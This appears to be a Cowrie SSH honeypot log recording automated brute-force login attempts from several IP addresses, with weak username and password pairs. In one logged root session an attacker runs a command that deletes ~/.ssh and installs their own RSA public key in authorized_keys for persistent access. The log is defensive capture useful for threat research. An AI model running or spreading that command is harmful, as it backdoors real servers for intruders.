{"eventid":"cowrie.login.success","username":"root","password":"Dd123456","message":"login attempt [root/Dd123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:41:04.003538Z","src_ip":"131.161.249.165","session":"e95f4fe77d9e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:41:04.292646Z","src_ip":"131.161.249.165","session":"e95f4fe77d9e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:41:04.295976Z","src_ip":"131.161.249.165","session":"e95f4fe77d9e","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:41:04.299536Z","src_ip":"131.161.249.165","session":"e95f4fe77d9e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:41:04.427104Z","src_ip":"131.161.249.165","session":"e95f4fe77d9e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:41:04.709824Z","src_ip":"131.161.249.165","session":"e95f4fe77d9e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:41:04.713258Z","src_ip":"131.161.249.165","session":"e95f4fe77d9e","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:41:04.843190Z","src_ip":"131.161.249.165","session":"e95f4fe77d9e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:41:04.846516Z","src_ip":"131.161.249.165","session":"e95f4fe77d9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.249.165","src_port":60458,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d5a30f2d607","protocol":"ssh","message":"New connection: 131.161.249.165:60458 (159.203.135.109:22) [session: 2d5a30f2d607]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:41:04.963784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:41:04.968289Z","src_ip":"131.161.249.165","session":"2d5a30f2d607","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:41:05.093592Z","src_ip":"131.161.249.165","session":"2d5a30f2d607","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:41:05.622310Z","src_ip":"131.161.249.165","session":"2d5a30f2d607","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:41:06.749101Z","src_ip":"131.161.249.165","session":"2d5a30f2d607","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.249.165","src_port":60466,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc29ce6d50ed","protocol":"ssh","message":"New connection: 131.161.249.165:60466 (159.203.135.109:22) [session: dc29ce6d50ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:41:06.868752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:41:06.872509Z","src_ip":"131.161.249.165","session":"dc29ce6d50ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:41:06.995389Z","src_ip":"131.161.249.165","session":"dc29ce6d50ed","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:41:07.521120Z","src_ip":"131.161.249.165","session":"dc29ce6d50ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:41:07.647783Z","src_ip":"131.161.249.165","session":"e95f4fe77d9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:41:07.652349Z","src_ip":"131.161.249.165","session":"dc29ce6d50ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.38.255.212","src_port":51498,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae93c1ade1b7","protocol":"ssh","message":"New connection: 209.38.255.212:51498 (10.17.0.5:22) [session: ae93c1ade1b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:41:15.577370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:41:15.582157Z","src_ip":"209.38.255.212","session":"ae93c1ade1b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:41:15.665543Z","src_ip":"209.38.255.212","session":"ae93c1ade1b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ankit","password":"123456","message":"login attempt [ankit/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:41:16.035445Z","src_ip":"209.38.255.212","session":"ae93c1ade1b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:41:17.121753Z","src_ip":"209.38.255.212","session":"ae93c1ade1b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":56672,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c1683fa6227","protocol":"ssh","message":"New connection: 80.94.92.171:56672 (10.17.0.5:22) [session: 1c1683fa6227]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:41:32.067482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:41:32.184620Z","src_ip":"80.94.92.171","session":"1c1683fa6227","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:41:32.188867Z","src_ip":"80.94.92.171","session":"1c1683fa6227","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:41:33.593803Z","src_ip":"80.94.92.171","session":"1c1683fa6227","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:41:35.192821Z","src_ip":"80.94.92.171","session":"1c1683fa6227","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.249.28.115","src_port":37352,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3cea886fd95","protocol":"ssh","message":"New connection: 23.249.28.115:37352 (10.17.0.5:22) [session: a3cea886fd95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:41:53.158753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:41:53.163569Z","src_ip":"23.249.28.115","session":"a3cea886fd95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:41:53.353177Z","src_ip":"23.249.28.115","session":"a3cea886fd95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hl","password":"hlpass","message":"login attempt [hl/hlpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:41:54.139766Z","src_ip":"23.249.28.115","session":"a3cea886fd95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:41:55.330685Z","src_ip":"23.249.28.115","session":"a3cea886fd95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.190.216.185","src_port":39014,"dst_ip":"10.17.0.5","dst_port":22,"session":"941b9f949970","protocol":"ssh","message":"New connection: 115.190.216.185:39014 (10.17.0.5:22) [session: 941b9f949970]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:02.562960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:02.567829Z","src_ip":"115.190.216.185","session":"941b9f949970","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"24.144.91.67","src_port":47968,"dst_ip":"10.17.0.5","dst_port":22,"session":"0801cb26f47d","protocol":"ssh","message":"New connection: 24.144.91.67:47968 (10.17.0.5:22) [session: 0801cb26f47d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:02.727216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:02.731812Z","src_ip":"24.144.91.67","session":"0801cb26f47d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:02.807802Z","src_ip":"24.144.91.67","session":"0801cb26f47d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:02.827727Z","src_ip":"115.190.216.185","session":"941b9f949970","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alfred","password":"alfredpassword","message":"login attempt [alfred/alfredpassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:03.123120Z","src_ip":"24.144.91.67","session":"0801cb26f47d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:04.197091Z","src_ip":"24.144.91.67","session":"0801cb26f47d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"liang","password":"Liang123","message":"login attempt [liang/Liang123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:05.358114Z","src_ip":"115.190.216.185","session":"941b9f949970","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.7","message":"Connection lost after 6.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:09.250211Z","src_ip":"115.190.216.185","session":"941b9f949970","protocol":"ssh"}
